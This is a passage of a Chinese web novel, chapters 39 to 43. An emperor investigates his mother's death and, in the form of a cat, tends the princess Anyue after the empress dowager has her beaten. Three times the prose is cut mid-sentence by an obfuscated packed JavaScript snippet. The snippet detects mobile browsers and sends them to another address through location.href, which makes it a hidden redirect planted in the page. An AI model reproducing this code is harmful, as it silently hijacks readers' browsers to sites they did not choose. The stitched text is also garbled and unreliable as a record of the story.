曲闻昭端着茶水的手微不可察一僵,安玥已离开了。他指腹摩挲着杯口,神色晦暗。 “林敬。” 殿门应声打开,来人神色恭敬,“陛下。” “让你查的事,查的怎么样了?” 林敬心知此事事关重大,不敢懈怠,正肃神色:“当年宫宴,是由太皇太后经受操办。因是冬日宴,宫宴前夕并未封锁宫殿。仅由太监宫女看管。当年洒扫的宫女太监也尽被处死,无从查起。但让属下不解的是,为何姜贵妃能一早知道娘娘会想出将水袖缠上房梁,复刻仙女散花之景。” 曲闻昭未说话,但心中已有了计较。那段时日,母子二人过得很不好。他重病在床,也无医师来看。或许是母妃主动相求,在宴上献舞,只为求一个恩典。 如此一来,便只有姜婉嫌疑最大。 “查查当年指认姜婉的那名侍女的家人,秘密探查。再查查那侍女身边有无在宫中当值的旧交好友。” “属下明白。” 安玥想不明白,皇兄将那名太监带到自己面前,是故意想让她听到那些话吗? 她信任母妃,不会做那样的事,即使那时候她还很小。可如今一切证据都指明了事情是母妃做下的,她若是皇兄,遇到弑母仇人的女儿,也不会释怀的吧。 况且皇兄确实已经帮了自己很多回。若是可以,她想试着把真相查出。 安玥白日如往常一般去请安,皇兄也未怎么为难她。只是因为那件事,二人中间总隔着什么似的。 转眼天而转暖了。安玥回想起冬日答应过咪儿的,夜里寻了块清净处抱着咪儿纳凉,却听廊下有两名内侍聚在一块儿,偶有窃窃私语声传来。 离得远,听不大清。只零星听见:“七皇子入了慎刑司,出来便疯疯癫癫……虽吊着条命,可还不如死了。保不齐其余几个皇子的死也和那位有关……” “嘘。你还真别说……”对面那人抬手遮挡住脸,小声:“当年那位出身,便有人说他是刑克六亲之相…怕是……” 他话未说完,不远处响起一道含怒的声音:“你们在说什么?” 那人原本半害怕半兴奋,说得正起劲,听到这一声,脊背都僵直了。二人颤颤巍巍扭过头,见公主怀里抱着只雪白的狸奴,就站在他们身后。这情形不亚于见着鬼,二人“扑通”跪下,“奴才们……没说什么!” “当年之事,是那和尚与人串通,中伤皇室,意图谋反。至于五皇帝,亦是犯了错,按宫规处置,还是你们有异议?” 二人连声道不敢。 安玥难得冷了面色,她眉心蹙起:“今日便罢了,以后再让我听见这种言辞,仔细你们的舌头。” 二人后怕不已,连连磕头,“奴婢们不敢了!” 安玥面色不虞,想换个地,低头却见咪儿正盯着自己。她怕自己脸色不好看吓着他,忙换了副神情,摸了摸他脑袋。 咪儿未反抗,仍是盯着她。 安玥不知怎的被盯得有些不好意思了,将脸埋进那只颇有些重量的雪团,转而在他面上“啵唧”了一口,却察觉咪儿身子僵了僵,转回了头。 安玥又觉得他这样子可爱得紧,趁狸奴未反应,飞快在他脑袋上亲了口。 曲闻昭:…… 40. 第 40 章 害死祺嫔的 晨光微熹,一缕日光斜斜透过牖页,洒在桌边堆叠如山的奏折上。 “陛下。”站在外头的内侍轻扣房门,“林统领求见。” “进来。” 殿门推开,林敬躬身行礼。 曲闻昭坐在书案后,将面前的奏折合上。 “查出什么了?” “回陛下,当年那宫女的亲人眼下都不在人世了。但好在她当年在宫中有名对食,还在掖庭当值。那太监初时不肯说什么,属下一番逼问,他便提起,当年宫宴前夕,那宫女便同他撇干了关系。后来他发现,那宫女不知从何处得了一大笔银两,俨然是觉得他没了价值。” “可有查出银两下落?” “那宫女除了偷偷将银两寄了一部分给家里,还埋了一些在后山的一棵桃树下。起初那太监支支吾吾不肯说,后来属下逼问。他才说,当年他发现银两下落不久,那宫女被突然处死,他便将那笔银钱吞了。” “他不敢用,只花出去一点,剩下的还埋在树下,属下便悄悄让人挖了出来。” 胡禄皱了皱眉,“陛下,如今看来,是否是有人贿赂了那宫女?” 曲闻昭本静默不语,此刻缓缓抬眼,他似是对旁人说,又似对自己,“若是姜婉,有必要贿赂自己的贴身侍女么?” 一语如石子入水,惊起波澜。 林敬惊诧:“陛下的意思是,此事是有人想一箭双雕?可事情过去这么多年,可要属下将那箱银钱呈给陛下过目?” “那人既然要贿赂,自然不会留下这么大的破绽。” 胡禄未成想此事还有转机,“此人实在恶毒!究竟是何人所为?!” “想争宠的妃嫔不少,但有本事兼以威逼之人不多。”他声色如常,眸底那翻涌的寒气终于在此刻结成了冰,“接着查。” 林敬目色一凛,“是!” 暮色渐沉,安玥用过膳,听内侍来禀,说陛下宣她过去。 安玥虽疑惑,但不如前几次那般抵触。只是因为这几日的事,仍有些害怕。 她跟着那内侍,走了许久,见不是往宁兴宫的的路,试探:“公公是要带我去哪里?” “回公主,陛下在娴淑宫等您。” 安玥听到这三个字,脊背都僵了几分。她停住脚步。 内侍察觉身后的人未跟上来,扭过头。迎着他询问的视线,安玥弓起身子,捧腹道:“清栀……我好像吃坏肚子了……” 那内侍听了,小跑上来,他袖子擦了擦额头的汗:“公主可有大碍?” “不知皇兄可否稍待片刻?我身子有些不适……” 可那内侍似是早有预料,他忙道:“公主,娴淑宫有御医。这会儿若要中途返回去,怕是更远呢。” 安玥向清栀递了个眼神,清栀从袖中取了只荷包,从里边摸出一小块碎银递过去。 “公公,不知陛下宣公主过去,是有何事?” 那太监不敢受,为难极了,“公主,奴婢也不知呀。” 夜幕笼罩,宫殿生在灯星火光中。 殿门推开,曲闻昭便见一人站在夜色中,檐下的灯火映在她面上,她垂着的羽睫沾了晖,襦裙亦覆了皎洁的月霜。 只是站在那,瞧着有些畏缩。 内侍刚要开口催促,被曲闻昭一个眼神止住。他忙垂下头,退了下去。 曲闻昭站在殿中,好整以暇等她过来。 不知过了多久,安玥往里面挪了一步,她小声唤了句:“皇兄。”身后殿门应声合上。 曲闻昭难得静默了片刻,方问:“你可愿给我母妃上香?” 安玥怔了怔,直愣愣看向他,他身后的烛火晃了下,安玥注意到他身后的牌位。 曲闻昭背着光,安玥未回应,他也不催促。 这般好说话?事出反常必有妖! 安玥勉强扯了扯嘴角,试探:“皇兄为何要臣妹上香?” “既然妹妹说,当年你我的母妃是深交,如今母妃应是想看看你的。” “可是……” 安玥动了动唇,没敢提。她往前挪了几步,见皇兄没有要发难的意思,撞着胆子上去。 眼见着离近了,安玥又打起退堂鼓,未曾想原本静默不动的人早有预料般将她往前一拉,她未防这一下,撞进一人怀里。 那片温热隔肩传来。安玥忙站直身子,曲闻昭转身取了香放入她手里。 安玥只觉得手里拿着烫手的山芋,扔也不是拜也不是。 她见皇兄是认真的,又垂头看了眼衣襟,好在还算齐整。她往周遭看了眼,将那香先递给曲闻昭,旋即走到一旁的矮桌边,将身上钗环首饰褪下。 她确定无不妥之后,走到牌位前站定。 楠木做的牌位,上刻“皇妣祺妃秦氏之位”八字。这牌位虽不同于太庙里的正式牌位那般髹红漆、描金粉,却极为干净,俨然是有人掐准日子过来清扫供奉。多一个牌位放在这儿本就是特例,足以体现帝王孝心。 但只是体现孝心吗?安玥不觉得。她不由得问:“娘娘生前对皇兄应是极好的吧?” 曲闻昭眸光微动,走到安玥身侧,目光落在牌位上,“是很好。” 安玥顺着他目光看去,心中说不出是什么感觉。 若她未记错,昭容娘娘也只比母妃年长三岁。二人身前关系那般好,想来亦是性情相投。她不由得心生亲近。 曲闻昭将香点燃,片刻后,递给她。安玥双手接过,站定跪下,行六拜礼。再起身依次将三炷香插.入香炉,她动作极慢,透着小心翼翼。做完一切,她收手,对着牌位再行两拜礼。 做完这一切,方后退两步,拉开距离。 曲闻昭牵过她的手,带她出去。殿外是一棵树,冬日枝上光秃秃的。安玥有些好奇,偏头问:“皇兄,这是什么树?“ “枇杷树。” 枇杷树?她以前好像在西苑见过一棵,不过那一棵是有叶子的。难道她记错了季节? 曲闻昭看出她在想什么,解释:“这棵枇杷树枯死了。” “幼时我身体不好,冬日总咳嗽,母妃便在夏日枇杷树结果之时,用枇杷做了枇杷膏。等天凉了,就取出来泡水给我。” 安玥听了有些馋,她还未喝过,也不知枇杷还能做成膏,就问:“好喝吗?” 曲闻昭轻轻颔首。 安玥抿了抿唇:“那这树还能治好吗?” “若早一些或许可以,只是如今太迟了。” 安玥看了眼四周,瞧见不远处花架下停着一只摇椅,分一吹,摇椅轻晃。 嘎吱……嘎吱…… 她抬手牵过曲闻昭的手,走到那摇椅前。 她对曲闻昭是怀有警心的,因早前的事。但除了那些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834309|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲闻昭亦帮了她很多次。他虽未说,但安玥也知道,之前阁楼那件事,若放到旁人身上,早已够旁人死很多回了。 今日皇兄让她来给祺嫔娘娘上香,隐隐让她品出几分恩怨两消的意思。或许是皇兄觉得,无论上一辈是否有怨,都不打算牵连到她身上了。 只是安玥却没有完全不计较的意思,她还记着呢! 安玥低头,只见那摇椅上放着一只木头小鸟,因日子久了,眼睛已经脱落,上头的纹路也已磨的几乎看不大出,瞧着有些格格不入。 鸟的脑袋并非光滑圆润,做工粗糙,不似宫中匠人所做。 安玥未伸手去拿,只不远不近看着。边上却一只手伸来,将那只木鸟拿起。 安玥问:“这是祺嫔娘娘做的吗?” “不是。”曲闻昭微微一笑,“是我做的,六岁的时候。” 他几乎快把它忘了。 安玥算了算,发觉已是竟已是十九年过去了。这木鸟竟是一只放在这儿没动过吗? 她从怀中取出一块帕子,将木鸟从曲闻昭手中接过,轻轻擦拭。 “当时正是冬天,我风寒未愈,在床上躺了几日,外头下着雪,终于等到一日雪停了,我在屋子里呆不住,趁着母妃不在,悄悄跑出宫去。见几名皇弟在御花园,围着一只会叫的木鸟。我回来后,便悄悄躲在房内,自己做了一只。” “只是这木鸟并不会叫,我很失落。母妃说,这鸟儿未开灵智,她带走再孵化一次,第二日天亮就会叫了。” 安玥好奇:“那第二日会叫了吗?” “会了。”曲闻昭眸光不自觉柔和了许多,“只是那木鸟同原来那只却不太一样,标志了许多,大了些,往里面吹气,便会响。” 安玥亦笑了。哪怕是祺嫔娘娘连夜又做了一只新的。安玥虽未见过,但隐隐猜到皇兄在御花园见过的那只木鸟是何模样。是工部巧匠进献,统共只有两只。大哥哥一只,曲婺一只。 曲奕将自己的那只给了她。那木鸟轻轻一叩,能飞能鸣,她虽对这些不甚了解,但也能猜到,这样的东西是不好做的。祺嫔娘娘知道,所以她在用自己的方式,爱着自己的孩子。 安玥觉得鼻子有些发酸,她将眼睛睁大了些,仍低着头擦那只木鸟,“后来呢?” 曲闻昭瞧见她动作。他比她高出一头,稍一低头,她面上情绪一览无余。曲闻昭微不可察一怔,笑道:“没有后来了。” ”那那木鸟现在还在吗?” 曲闻昭摇头。 后来祺嫔死了,他便去了苓妃那。他带着那鸟,有一次他将那木鸟拿出来,曲婺经过瞧见,抬手去抢,争执间,那木鸟摔在地上,断了一只脚。曲婺见没得玩了,气极,竟是一脚上去,将那木鸟踩得四分五裂。 安玥借着地上的影子,瞧见皇兄回应。她将木鸟擦拭干净,小心翼翼递还给曲闻昭,犹豫许久,仍是开口:“苓妃……对皇兄很不好吗?” “很好。”曲闻昭摩挲着手中木鸟,上面还沾有女儿家在上面留下的温度,“好到人人都说,苓妃对他这个养子极好。” 安玥微微一怔,品出这句话背后所含之意。她突然觉得,自己同皇兄是不同的。她还有大哥哥,还有父皇,可是皇兄什么也没有。 “若我早些知道,不会让皇兄受那些委屈。” 曲闻昭微微一笑,“我信。” 41. 第 41 章 他见过她护犊子的模样,在含彰殿,她哆哆嗦嗦将那只鸟放跑。在太液池畔,她梗着脖子,费尽心思花言巧语,生怕他将那猫带走。 却让人讨厌不起来。 他见过苓妃得知他带走曲婺后,一向端庄雍容,从容不迫的人,竟也会指着一个人的鼻子,大骂他畜生的样子。见过从未正眼看过他的先帝,临终前让位于他,言辞恳切,说着愧疚之语,只是为了能将女儿托付给他的样子。 他们恐惧他,厌恶他,讨好他,因为他们也知道,自己曾经伤害过他。 安玥松了口气,忽觉脚边似被什么蹭过。她吓了条,一低头,见一团黑影从身侧窜过。她脑中僵了瞬,一蹦三尺高,她闪身到曲闻昭身后,两只手拽紧他臂上的衣袖,颤颤巍巍,“有耗……耗子。” 曲闻昭似是没看到,“在哪里?” “钻草丛里了……” “我看看?”他作势要过去,安玥死死将他拽住,颤声:“不……不行!它等一下跑出来怎么办……” 曲闻昭察觉身后的人浑身紧绷,“我好像看到它了。” 安玥吓得半死,全然未听出他话里笑意,听着这一声只觉裤腿已爬满了耗子,她脚下如长了根尖刺,刺得她跳上前抱住他手臂:“哪……哪里?” 曲闻昭转过身,见她双眼紧闭,睫羽因用力簌簌抖着,一双手死死抱着他臂不放。几乎要挂在他身上。 “在你脚边。” “啊啊啊!”她一只手在空中狂甩:“弄走弄走!” 胡禄站在二人身上,终于忍不住抬眼。便见陛下站在光影稀疏的花架下,一双目光落在公主身上,轻声:“好像钻到裙子里了。” 安玥吓得一蹦三尺高,手脚并用扒拉在曲闻昭身上,她双手环着他脖子,整个人死死贴在上面。 “走……走了吗?” “没有。” 安玥身子微颤,眼睛睁开一条缝,似要扭头看向身后,一只手捂住她眼睛,掺着玉兰的气息,他的唇无意蹭过她耳廓,又分了些距离,“好大一只,别吓着妹妹了。” 他低头看她,见到她微微泛红的面靥,樱唇殷红,他未能看见她神情,却能感觉到那双睫羽颤个不停,扫过掌心,有些痒。指侧亦能感觉到她温热的呼吸。 安玥默了阵,不再抖了,她起了疑心,“皇兄没骗我吗?” 曲闻昭勾了勾唇。他抬手轻轻拍了拍她背,似是安抚,“现在跑了。” 安玥将信将疑,反应过来自己还挂在皇兄身上,忙松了手。双脚触地,她试探性地偏过头,见地上空荡荡的,什么都没有,一口气才松到了底。 她抬头朝曲闻昭露出了个略带窘迫的笑,往后退了两步,将衣裙理好,却见皇兄的衣袖被自己捏的褶皱一片。 她用了这么大的力道吗? 安玥有些心虚,她低头盯着自己鞋尖,又有点不放心,悄悄瞥他衣袖。 “是安玥失态了。” “无事。” 安玥见他好说话,方大了胆子替他将褶皱抚平,“皇兄大人有大量,最好了。” 曲闻昭抬手轻捏了下她后颈,极随意却自然的动作,“嗯。” 天色亦是不早,二人回去。 曲闻昭回含彰殿时,林敬候正在殿外,“陛下。” “进来说。” 林敬跟在他身后,内侍将殿门合上,左右随侍皆退了出去。偌大的宫殿只剩二人。 “查出来了?” “当年负责姜贵妃生产的下人几乎被秘密处死,只留了当年照顾姜贵妃的一个嬷嬷。当年姜贵妃怀胎,有人在阶上倒了油,贵妃滑倒,危急关头是那嬷嬷以身体做垫,方……” 曲闻昭睨他一眼:“说重点。” “是!”他触到那目光,有些紧张,脑中白了瞬,接上话头,“属下找到那嬷嬷。那嬷嬷原不肯说,重刑威逼之下,她方支支吾吾说公主是早产所生,实际足足早了四十日。” 他语调轻轻,“冬月初七。” “……应当是。”林敬不知公主具体生辰,但仔细算算,约摸着是在冬月没错。 若单纯只是早产,曲禛自不至于大费周章压下此事。他对外说,安玥的生辰是在正月,只早产了半月。究竟是怕有人借机生事,还是早已知晓一切,欲盖弥彰隐瞒什么? “陛下,那稳婆如何处置?” “把人看好。此事若让第三人知道,你的脑袋也不必留了。” 林敬眼皮子一跳,“属下明白!” 安玥回去,发觉今夜宫外多了几道身影。那些人见她回来,一名尖嘴猴腮的太监上前道:“公主可见过,一只浑身雪白的狸奴?” 她觉得来者不善,未直面作答,“狸奴?为何问这个?” 那总管太监甩了甩手中的拂尘,“前个儿下雪,有只狸奴在元慈宫外,太后娘娘心善,将那狸奴抱回去。谁曾想那畜生是个养不熟的,吃饱喝足竟还抓了太后娘娘一把。本想着没事,不曾想几个月过去,竟是留了疤。娘娘气不过,这才让奴婢们调查此事。听闻公主养了只狸奴,便是白色的,奴才们便来问问。” 安玥神色如常,“我的狸奴这几日都在宫内,并未出去过。宫中白色的狸奴不在少数。大抵是野猫。想来公公是弄错了。” 太监笑了笑,眼尾褶起一片鱼尾纹:“那便好办。公主只需把那狸奴抱来给奴才过一眼,奴婢们也好回去复命。” 安玥见这个架势,心知是推脱不掉,向清栀使了个眼色。青栀会意,往宫内走去。 过了片刻,她满脸焦急出来,“公主,咪儿又不知到哪儿玩耍去了,奴婢们都找不着。” “公公,咪儿顽皮,常常往草堆里钻。这几日天儿暖和了,屋里闷,它待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839018|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不下去。一时半会儿怕是找不着了。公公不如明日再来,我抱他给公公瞧一眼。” 那太监眼尾冷沉下来,“那可不成,奴婢们今夜就要回去复命了。既如此,奴婢们替公主找,可成?” “怕是不成,眼下我要安置了。你们这一群人大晚上到我宫里来,成什么样子?咪儿怕生,若是惊着它了,怕是又要闹一通。” 那太监冷笑了声。他倒没想到,一个妖妃生的女儿,在宫里无权无势,倒真把自己当主子了。 “公主,这可不是开玩笑的事。这畜生胆大包天,说是谋逆也不为过。若是私藏,那便是罪同谋逆。您多少得让奴婢们进宫搜查一番。否则奴婢们怎么能知道公主话中真假?” “你是不信我?” 对方面上含笑,却未理她,只是微微偏过头,“进去搜。” 清栀冷了声:“你们做什么?!” “公主既认定了自己是清白的,便给奴婢们过一眼,也不是难事。莫要为难奴婢们才是。” 安玥沉着面色看他,不知过了多久,安玥听到一身猫叫。她转过头,便见咪儿被一名侍卫拎着后颈提了出来。它似是受到惊吓,双脚一个劲的扑腾。 带茧的手将咪儿提到那太监面前,只需一眼,那太监趾高气扬:“带走。” 曲闻昭刚一过来,便觉得被人提在半空,喷了一脸口水。 他不悦地抬起眼,这又是做什么? “慢着。”安玥冷眼看他:“公公这是何意?” “公主有所不知,这狸奴正是前几日抓伤了娘娘的那一只。谅在公主不知情,想来娘娘心善不会怪罪,但公主若是执意如此,奴婢们必如实禀报。届时奴婢们难免疑心,此事是否是公主有意为之。” 安玥深吸一口气,忍了下来,解释道:“不知公公是从何看出,此事是咪儿所为?照你所说,也只见到一只白猫,这宫里白毛猫不在少数。” “是与不是,只消娘娘过一眼便知。” 若是咪儿入了慈元宫,怕是就出不来了。她咬了咬下唇,向匆匆赶来的若桃使了个眼色。若桃站在院里,会意,将桌上茶水端起,从小门出来。 那侍卫提着咪儿正往前,不想迎面撞来一人。她手里的茶水尽数泼在了那侍卫身上。他不防这一下,不自觉抬手去擦衣袖上的水。却忘了手里还捏着只狸奴。 咪儿脱了桎梏,顺势往安玥那头跑去。 若桃还在和那侍卫道歉,安玥急得不行,脚尖轻轻踢了踢咪儿。 快跑。 曲闻昭:“……” 那头,那太监见狸奴脱离了掌控,朝周遭侍卫使了个眼色。五六个人瞬间围了上来。安玥一颗心悬起,好在咪儿身形矫捷,在一群人围追堵截下东窜西避,一帮人竟也奈何他不得,一时人仰马翻,好不热闹。 那太监冷脸:“公主这是何意。” 42. 第 42 章 “公公勿怪,咪儿性子顽皮。今夜被这么一惊,便是我也难以把它制住。” 那太监眉心跳了跳,他甩甩拂尘,“公主,您何必费这功夫?今夜这狸奴犯了错,又不服管束,迟早是要走这一趟的……” 话音刚落,他只觉什么东西自身侧窜过,一转眼,那一团黑黢黢的东西已隐没在草丛里。 那太监眼底喷出火来,他冷笑了声,拨了拨拂尘的毛,幽幽抬起眼,“既如此,劳公主虽奴婢们走一趟吧。” 若桃面色微变,却见公主已移步同那些人去了。她和若桃跟在安玥身后。 慈元宫。 漆黑的夜幕下,两盏红灯挂在檐下,随风轻晃。朱红的门上折射出两点暗红的光晕。 大门打开,铺满而来的是冷风,掺着若有若无的檀香味。若桃和清栀要随公主进去,却被拦在外边。 入了大殿,头顶是一盏金凤衔珠灯,正中摆着一只软榻,扶手上雕缠枝莲纹,嵌着东珠玉石。脚下铺了毯,几名宫女端着茶盏退出殿,皆是静悄悄的,一丝声音也无。 她行万福礼,“儿臣安玥,恭请太后娘娘圣安。” 太后凝心捻佛珠的手一顿,睁眼。她目光在安玥那张脸上落了瞬,眼角勒出一抹极淡的鱼尾纹。她似是在笑,笑意却不达眼底:“不必多礼。” “适才他们都同我说了。你母妃去世时,你也不过七岁。先帝在世时,总是忙于朝政,哀家也对你疏于管教,才将你养成了这么个顽皮的性子。你也不小了,若非先帝丧期未过,你也本该到了该谈婚论嫁的年纪。若是这样下去,那家士族怕是看不上你。”她似是笑了声,“这倒也没什么,哀家今后细心教你便是了。只是咬人的狸奴留不得,还是尽早处理掉才是。” 安玥睫羽轻轻颤了下,面上看不出多少情绪,“娘娘说的是。只是咪儿性子乖巧,平日鲜少挠人……” “你的意思是,哀家故意同一只小小的畜生过不去?” “娘娘误会了,安玥并非此意。” 她垂着头,单薄的身影在空旷的殿中更显瘦弱,如漂流的浮萍,轻轻一捻便沉入水底。 太后将佛珠放下,拨了拨杯口浮沫,“照你这般说,倒是哀家存心同你过不去?进来这么久,也未关心过哀家身子。先前哀家听下人说,你在宫门口出言不逊,百般阻挠哀家的人搜院。哀家是不信的,如今亲眼见到,方知你竟也是个有脾性的。”她顿了下,睨向她:“你今日能拦着哀家的人,来日就能以下犯上。你没有母妃,哀家若不能替先帝及时管教,来日还不知要歪成什么样。你便先去外边跪三个时辰,领十鞭磨一磨锐气,便算小惩大诫了。” 安玥料到今夜躲不过这一遭,应了声“是”,转身往殿外走去。 她裙摆轻轻扫过石阶,一步步往下。 太后侧身躺在软榻上,看着她背影,冷笑了声。当年那妖妃在时,便处处压她一头。好不容易熬到那妖妃死了,不想先帝表面冷淡,可后来仔细一回味,明里暗里仍是护着这小贱人。 老天有眼,那妖妃的女儿如今没了依仗,也不过是落人手里受磋磨的命罢了。 她抬手摇了摇扇子,不慎扯到伤口,眉心蹙了下,将扇子扔回桌上。 她声色不见喜怒,眼睛却是沉的,“那畜生抓到了吗?” 先前那太监弯着腰,不如之前那般颐指气使。他面上挂着小心讨好的笑:“回娘娘,还没,但在找了,一只畜生跑不远,想来天亮就能抓回来。” “那帮太医也是没用的,一个小小的疤这么久了也没去掉。明日再让那帮人来一趟,若是治不好,便是不用心,命留着也没用了。” 她真是厌透了这宫里的一切。 那太监打了个哆嗦,谄媚应了声:“是。” 安玥跪在殿外。夜里不算冷,甚至有些闷。只是膝下的青石板不知被人坐了什么手脚,硌着膝盖,刺得生疼。 她掌心朝上,女官便拿着戒方站在她面前。那戒方用黄铜包边,刻着敬戒二字,一尺出头,却是加了宽度,紫光檀的材质,足有一斤多重。 那女官扬起戒方,重重往下一打,便听“啪”得一声闷声。安玥身子跟着一颤,她咬着下唇,双目紧闭,唇瓣渗出血来,硬是没喊一声。 原本白皙的掌心瞬间青紫了一块。不知是否伤到了骨头,她只觉得疼得要跳起来。她尚未来得及喘息,又是一鞭下来。她双手颤得厉害,几乎要抬不起。 她似乎能体会到曲靖溪当时是什么感受了。 若是十鞭下来,这手怕是不能要了。她未想到,这老太婆心这么狠。竟是一点表面功夫也省的做。 “公主!” 安玥哆哆嗦嗦要把手收回,转过头,本想借着和若桃搭话的功夫,缓上片刻,却不想一双手伸来,扯着她泛疼的手,将她手心抬起。又是一鞭下来,安玥尝到了齿间的铁锈味。 她面色苍白,只觉得双手痛极,骨头要裂开般,身体止不住发颤,后背已被汗水打湿。皮肉却是肿胀,又麻又辣。偏生还被人死死拽着。她已无暇顾及其他,满脑子都只剩下一个疼字。 若桃又惊又惧,要闯进去,被外边的侍卫拦住:“别打了!” 安玥脖子往后缩了缩,闭上眼,等着下一鞭落下来,等了许久,也未等到。她只当那帮人是见她撑不住,想让她缓一缓。睁眼却见一名内侍在女官身侧小声说了什么,可她双耳嗡鸣,却是听不大清。隐隐只见那女官面色微微变了变,转身往殿内去了。 她隐隐听到身后传来脚步,一抬眼,却见一道肥胖的身影站在身前。 胡禄拧眉,瞧清安玥的伤,面色僵住,脱口:“哎呀,怎么弄成这个样子?” 他语速快了些,“公主,陛下请您过去呢。” 安玥面上已做不出太多的表情,她尚未完全失了心智,听着这一声仍撑着些力气,哑声:“多谢公公。” 若桃和清栀摆脱桎梏,两支离弦的箭似的,奔来扶她。 胡禄最初对这位公主印象便不差,只是因姜婉之事心生警惕。经上回公主冒险拿刀指向国师,加之误会解开。他觉得公主实在是重情重义之人。 这会收到陛下示意赶过来,撞着这一幕,便是他平日里见惯了这些,心头仍是一揪。 “应该的。” 安玥一转身,方注意到脚边多出一块白色,是咪儿。她弯腰,想用手臂将咪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845719|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿拖起来。却见咪儿目光似是在她掌心停了瞬,扒着她的裙摆,一路跃上她肩。 安玥怔了怔,用脸颊轻轻蹭了蹭咪儿的脸,“咪儿,你好像又重了。” 曲闻昭:“……” 胡禄在后边见着这情形,没忍住笑出声,那翘起的唇角未来得及放下,原本趴在公主肩上的“狸奴”扭过头睨了他一眼,眼神瞧着有些冷。 胡禄后颈一凉,再笑不出。他转过头,见太后不知何时从殿内出来。 胡禄面上带笑,眼底却一丝笑意也无,“今日之事,奴婢会原封不动告知陛下。” 太后眼尾沉了沉,冷冷看向这边。 威胁她? 她竟不知,这小贱人和那灾星关系这般好了么? 她扬高了声:“那他也该知道,哀家活着一天,就一天是他的母后。” 原本趴着的狸奴似是斜睨了太后一眼,蓝色的瞳孔似闪过一抹幽光,透着讥讽。 安玥出宫时,见外面站着六名精壮的太监,他们身后停着顶鎏金朱漆肩舆,外覆明黄织金锦缎,上有九龙吐珠图。左右两根檀木抬杠通体裹以金箔,末端镶缀赤金兽首衔环。 她以为是皇兄亲自过来,就要行礼。胡禄在边上笑眯眯道:“公主,上轿吧。” 安玥怔了怔,不明白皇兄为何突然给自己殊遇,犹豫着要不要上去,不想肩上一轻,咪儿已先一步跳上了轿。 安玥未想到咪儿如此“不客气”,又怕它弄乱了轿子,无暇顾及其它,由清栀若桃搀着上轿。 轿内铺着狐裘软垫,咪儿趴在边角,两侧设有暗格,暗格旁摆着一张小巧的紫檀木几,上置熏香,扶手以犀角雕琢而成,触感冰凉细腻。 安玥却无暇顾及这些,她在软垫上坐下,掌心朝上搭在膝头,整个人靠在轿壁上。她衣裳被冷汗打湿,发丝贴在额间,显得面色有些苍白。 她一双眼睫垂着,仍在颤。 咪儿站起身,一双目光盯着她伤处,垫脚要扒拉开上层的架子,偏生手臂短了截。他见踮脚够不到,转身跳上一旁的矮几,上好的御窑被带得滚到地上。他看也未看一眼。 安玥半睁开眼,隐隐看到地上碎裂的瓷盏,面色微变,警告地瞪了咪儿一眼,却见他咬着一只瓷瓶,低头放在自己腿间。 “你别弄了……我回头要是赔不起,仔细我把你送出去抵了。” 那狸奴嫌弃眼皮子睇她一眼,把瓷瓶往前推了推,紧接着极自然地伸尾在她手心轻轻扫了下。 安玥觉得痛,又有些痒,缩回手,耐心哄道:“好了,快到了。乖,睡觉。” 曲闻昭在她腿间坐了会,见她又闭上了眼。他将药瓶咬开,想抬手取些膏药出来,方发现自己的爪子又长长了。 有些不便,得抽空修一下。 伤处已经变得青紫,原本白皙的掌心肿起来一块。宫里的戒鞭他最清楚不过,适才若是再打一鞭下去,伤筋动骨是必然的。 他眼尾斜挑,幽瞳里笼上一层阴翳。他抬头,那双泛红的眼不知何时闭上,露出剩一双羽睫,一颤一颤的。 他凝着瞳思量片刻,最后将尾巴勾到前面,沾了些膏药,伸向安玥手心。 43. 第 43 章 毛茸之物蹭过伤处,有些痒,安玥隐隐约约闻到药辛气,闻到一股凉意,让她想起皇兄。她迷迷糊糊似唤了声什么,勉强睁开些眼,却见咪儿用将尾巴伸入瓷瓶,他微端沾了些白色的膏体,转而往她另一只手涂去。 安玥指尖动了动,鼻子有些发酸。曲闻昭上完药,刚将药瓶放置一旁,抬头却见安玥闭着眼,似有一滴晶莹顺着她眼角滑下,埋入发间。 他动作微僵,心口似被那滴泪灼了下,被烫起一层皮。 他想起她膝上的伤,犹豫了下,齿间咬着她裙摆,一点点往上拉。 安玥觉得腿间有些凉,一低头,方见裙摆已被他掀起大半。 安玥眨了眨眼睛,将眼底泪意眨去,破涕为笑,“咪儿,你好厉害,还会给我上药。” 曲闻昭未理会这句赞赏。转而咬住她裙摆。不防头顶的人压低了声:“咪儿……你不会是皇兄变的吧?” 曲闻昭僵直不动,他松了口,用手臂蹭了蹭脸,竭力让自己像只狸奴。 做完这一切抬起头,却见安玥竟已经闭上了眼! 原本还晃动着的尾巴登时顿住,他去咬安玥的裙摆,动作里沾了几分狠意。 